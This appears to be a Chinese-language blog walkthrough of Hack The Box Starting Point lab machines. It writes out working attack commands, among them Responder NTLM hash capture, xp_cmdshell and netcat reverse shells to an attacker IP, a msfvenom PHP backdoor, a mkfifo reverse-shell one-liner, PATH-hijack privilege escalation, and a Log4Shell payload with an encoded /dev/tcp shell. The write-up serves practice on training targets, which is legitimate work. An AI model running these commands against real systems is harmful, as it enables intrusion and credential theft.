第0层部分靶机免费,部分靶机收费。由于这部分太过简单,因此一笔带过。
第一关Meow是telnet靶场:https://www.bilibili.com/video/BV1nS4y137GQ
第二关Fawn是ftp靶场:https://www.bilibili.com/video/BV11F41147Kf
第三关Dancing是SMB靶场:https://www.bilibili.com/video/BV1nS4y137vm
第四关Redeemer是Redis靶场:https://www.theethicaldroid.com/hack-the-box/htb-walkthrough-tier-0-redeemer
第五关Explosion是RDP靶场(VIP):https://www.bilibili.com/video/BV1RL4y1T75j
第六关Preignition是目录爆破(VIP):https://www.bilibili.com/video/BV1qL411P76v
通关教程视频:https://www.bilibili.com/video/BV1GS4y1Y716
开启靶机后先下载一下通关攻略,个人觉得开局来个NTLM这种横向移动中才用到的技术,有点难为新手了。由于文档是全英文的,因此这里使用谷歌翻译处理一下,翻译效果还不错。
探测到2个开放的端口
nmap -p- --min-rate 5000 -sV 10.129.72.220
一看这个德行,就知道要修改hosts文件了。
页面上点击一番后,发现修改页面语言的时候URI地址发生了有趣的变化
在靶场中,windows本地文件包含漏洞不算一个严重的漏洞,但是靶机开放了5985端口,我们就可以利用NTLM。这部分的内容比较复杂,不做解释。
攻击端准备
攻击者使用Responder监听tun0网卡,然后通过浏览器或者curl命令,让靶机包含来自SMB服务器的资源,在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。NetNTLMv2 包括质询(随机文本)和加密响应。
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I tun0
gzip -d /usr/share/wordlists/rockyou.txt.gz
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
我们将连接到目标上的 WinRM 服务并尝试获取会话。因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为Evil-WinRM的工具,它是为这种情况而设计的。根据通关攻略得知Flag的位置。
evil-winrm -i 10.129.72.220 -u administrator -p badminton
通关教程:https://ewan67.github.io/posts/htb-writeup-tier1-three/
这一关考察的是AWS S3,相信这一块对于国内的安全从业者还是挺陌生的,云安全的从业者并不多。按照教程可以打通这关,在文件上传的时候,我费了点时间。这里说几个注意事项。
第6关(Ignition):https://www.bilibili.com/video/BV1Ma41147ZF
第7关(Bike):https://www.bilibili.com/video/BV1434y147av
第8关(Pennyworth):https://www.bilibili.com/video/BV1FT4y1v7V4
第9关(Tactics):https://www.bilibili.com/video/BV1CL4y1L7kJ
通关视频教程:https://www.bilibili.com/video/BV1R3411J7J2
通关文字教程:https://systemweakness.com/archetype-hackthebox-walkthrough-be99a1fba8ea
我这里依旧是下载官方攻略,并使用Google翻译把攻略翻译成中文,这一点已经在“第1层 → 第4关”中演示过。这个靶机主要是考察1443端口的Microsoft SQL Server。关于此端口的更多利用姿势参加:https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands
注意到靶机上运行着Microsoft SQL Server,SMB服务。
nmap -p- 10.129.175.179 --min-rate 4000
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 10.129.175.179 -A
这里使用smbclient尝试连接靶机,直接连接的时候要密码,回车即可,发现可以连上。那么下次碰到这种情况就可以加上-N
参数,表示没有密码。通过下图注意到-N
参数如果位置不对,可能还是得输入密码。
探测发现backups目录中存在一个账号密码:ARCHETYPE\sql_svc、M3g4c0rp123
现在让我们远程登录到SQL Server,但是如何做到这一点?在官方攻略中,我们将找到一个名为“mssqlclient.py”的工具。此工具将使我们能够登录到目标的SQL Server服务器。
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
cd impacket/examples/
mssqlclient.py -h
发起连接:./mssqlclient.py Archetype/[email protected] -windows-auth
尝试执行个命令看看呢?报错了,根据错误信息得知xp_cmdshell
然后怎么玩呢?谷歌搜索“xp_cmdshell”找到了微软的官方文档:https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?source=recommendations&view=sql-server-2016(手工把上面地址中的“en-us”修改为“zh-cn”可以看到中文文档,但是翻译的有点问题,所以下图使用的是英文文档)
接下来按照微软官方的教程,先确认自己是管理员权限,然后逐步启动“xp_cmdshell”来实现命令执行效果。
SELECT is_srvrolemember('sysadmin');
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"
可以参见这篇文章:https://pentestwiki.org/academy/how-to-get-a-xp_cmdshell-reverse-shell/
由于我已经可以在SQL Server中执行命令了,因此我会让靶机下载一个nc反弹连接我。
wget https://github.com/int0x33/nc.exe/blob/master/nc.exe
python -m http.server 80
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc.exe -OutFile c:\\Users\Public\\nc.exe"
nc -nvlp 4444
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.175 4444"
结果是比较倒霉,上传的nc与系统不兼容,我刚才上传的应该是32位的,重新上传64位呢?于是来到官方攻略中提到的网站https://github.com/int0x33/nc.exe下载并上传了64位的,再次提示版本不兼容。还是得自己动手丰衣足食!在我之前的笔记中记录过windows通过nc上线:语雀地址、CSDN地址
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip netcat-win32-1.11.zip
cd netcat-1.11
python -m http.server 80
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc64.exe -outfile c:\\Users\Public\\nc64new.exe"
nc -nvlp 4444
xp_cmdshell "c:\\Users\Public\\nc64new.exe -e cmd.exe 10.10.14.175 4444"
得到Flag:3e7b102e78218e935bf3f4951fec21a3
这里使用工具:PEASS-ng
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221016/winPEASx64.exe
python -m http.server 80
powershell # 切换终端为powshell
wget http://10.10.14.175/winPEASx64.exe -outfile winPEASx64.exe
./winPEASx64.exe
直接运行提权脚本没有看到黄色高亮的漏洞,通过官方攻略得知存在一个敏感文件
账号密码:administrator、MEGACORP_4dm1n!!
连接靶机:python3 /home/kali/test/impacket/examples/psexec.py [email protected]
通关视频:https://www.bilibili.com/video/BV173411T7Kp
nmap -p- --min-rate 4000 -sV 10.129.88.18
开局就是一个静态页面,啥都没有,直接目录爆破,这里比较遗憾,使用dirsearch没有爆破出有价值的结果,我当然可以更换别的字典,但是这会消耗我VPS不少流量,我决定换种方法。
在上一篇文章中我介绍了我是使用“SSH本地socks5代理”技术来打靶的,因此我只需要配置一下BurpSuite的Socks5即可用它测试web
打开网站之后,bp发现了一个url,访问一下,看到了一个登录窗口,简单的密码爆破无果后,选择以访客模式进入网站,登录之后首先就注意到了uri中的id值是可以改变的,sqlmap一把梭,但是没有扫出来。既然没有SQL注入,那么最有可能是就是越权漏洞了。
观察bp的流量包发现cookie值似乎和用户的身份有关,那么我能否通过修改cookie实现越权呢?
当把id改为1的时候,页面显示出了管理员的名字和对应的值,那么就修改一下cookie值验证是否能越权。
结果发现,变成管理员之后,文件上传功能可以使用了。记得目录爆破的时候发现了uploads
目录,这个时候就是文件上传反弹shell了。
这里演示MSF获取反弹shell。我这里第一次没有成功,看了攻略才知道如果shell文件不存在,有可能是靶机删除了,需要重新上传。
生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=4444 -f raw > ./phpweb.php
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.175
exploit
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
通过敏感文件找到了robert用户的密码:M3g4C0rpUs3r!
得到Flag:f2c74ee8db7983851ab2a96a44eb7981
既然如此,就不用反弹的那个不好用的shell了,直接ssh登录
常规提权方法失效,开始收集敏感文件。以前的思路是搜索“文件所有者是root、文件具有可执行权限、其他用户具有可写权限的所有文件”或者搜索“搜索既可执行,又有suid权限,所有者是root的文件”,但是搜索结果太多,肉眼看不出可疑文件。
根据官方攻略,思路拓宽了一些,根据id
发现当前用户属于bugtracker
组,于是:
find -group bugtracker 2>/dev/null
但是这种搜索的结果应该比较多(忽略此次只搜索出一个结果),我觉得命令应该改造一下:搜索文件所有者是root的文件,并且其他用于对此文件既可执行,又有suid权限,并且还属于某个组
find / -type f -user root -perm -u+sx -group bugtracker -ls 2>/dev/null
# 查看当前环境变量
echo $PATH
# 把一个shell的路径写入到cat文件中,并确认环境变量写入成功
echo "/bin/bash" > cat
chmod +x cat
export PATH=/home/robert:$PATH
echo $PATH
# 运行可执行文件,以root权限拿到shell
/usr/bin/bugtracker
由于cat命令被占用了,所以使用tail命令查看,得到Flag:af13b0bee69f8a877c3faf667f7beacf
额外补充,如果我非要用cat怎么办?有两种办法
通关视频:https://www.bilibili.com/video/BV1KY411j7Pa
发现开放了21,22,80端口,其中21端口支持匿名登录。
nmap -p- --min-rate 4000 -sV 10.129.204.126
nmap -p21,22,80 -A 10.129.204.126
爆破得到解压密码:741852963
zip2john backup.zip > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip backup.zip
使用在线平台获取到密码 qwerty789:https://www.cmd5.com/
sqlmap一把梭,发现确实存在sql注入:
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd"
首先检查发现自己有DBA权限:
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --is-dba
那就直接拿shell吧,这里进行了多次尝试,最终通过nc拿到shell
sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.175 4444 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'
在web目录下以pass
作为关键字,使用命令grep pass *
搜索,在"dashboard.php"中发现一组账号密码:postgres
、P@s5w0rd!
,然后顺利使用此账号密码SSH登录了靶机,拿到Flag:ec9b13ca4d6229cd5cc1e09980965bf7
简单的sudo提权,用到了vi提权:https://gtfobins.github.io/gtfobins/vi/
得到flag:dd6e058e814260bc70e9bbdef2715849
通关视频:
nmap -p- --min-rate 4000 -sV 10.129.171.50
nmap -p22,6789,8080,8443,8843,8880 -A 10.129.171.50
打开网站如下图,根据 unifi 和版本号 6.4.54 在谷歌上搜索,搜素结果显示它似乎容易收到 log4j 漏洞的影响。我自然而然的就启动了BurpSuite,但是很奇怪,插件 log4j2scan 没有扫描出来。猜测应该是靶机出网流量受限(后面我们会证明这一点),在网上搜索一番后,找到了漏洞利用文章 (文章介绍了漏洞验证和漏洞利用,下面的所有操作都是围绕着这篇文章展开的)https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi
注意,我们是通过搜索服务名称和版本号发现此漏洞的!
发送payload之后,收到一条错误提示,那到底有没有漏洞呢?LDAP运行的默认端口为389,让我们来看一下389端口的流量吧。结果抓到了流量,说明极有可能存在漏洞。
现在开始漏洞利用
攻击者准备:
sudo apt update
sudo apt install openjdk-11-jdk -y
java --version
sudo apt install maven
mvn -v
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
echo 'bash -c bash -i >&/dev/tcp/10.10.14.175/4444 0>&1' | base64
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTc1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.175"
获取交互式shell:script /dev/null -c bash
由于unifi需要MongoDB作为它的数据库,默认的数据库名是ace,所以我们先检查一下有没有MongoDB服务。同时文章指出,MongoDB能帮助提权,那么就来找一下MongoDB。
检查发现靶机在27117端口运行着MongoDB,尝试与MongoDB交互获取账号密码
ps aux | grep mongo
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
由于密码是$6$
开头的,通过靶场攻略得知这个是sha-512加密算法的特点,当然我也可以通过hashid证明。由于这种加密存在加盐,因此每次加密结果都不一样。现在爆破密码就算了,我还是生成一个新的来偷梁换柱。
hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
mkpasswd -m sha-512 123456
替换管理员的哈希值
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uaBrPNpdaXCYReU7$xJ..g92Sl9QxUIvUpbvJRDH7DyUT3oWenGBZeLUXjYqOjcDh9TINtXb0aDoPBHYN/ZgCetNZmLnosZJkLaAJT1"}})'
使用账号密码administrator、123456登录系统,
找到了SSH登录靶机的账号密码:root、NotACrackablePassword4U2022
得到2个flag
第5关:https://www.bilibili.com/video/BV13S4y1A7N8
第6关:https://www.bilibili.com/video/BV1PZ4y127g9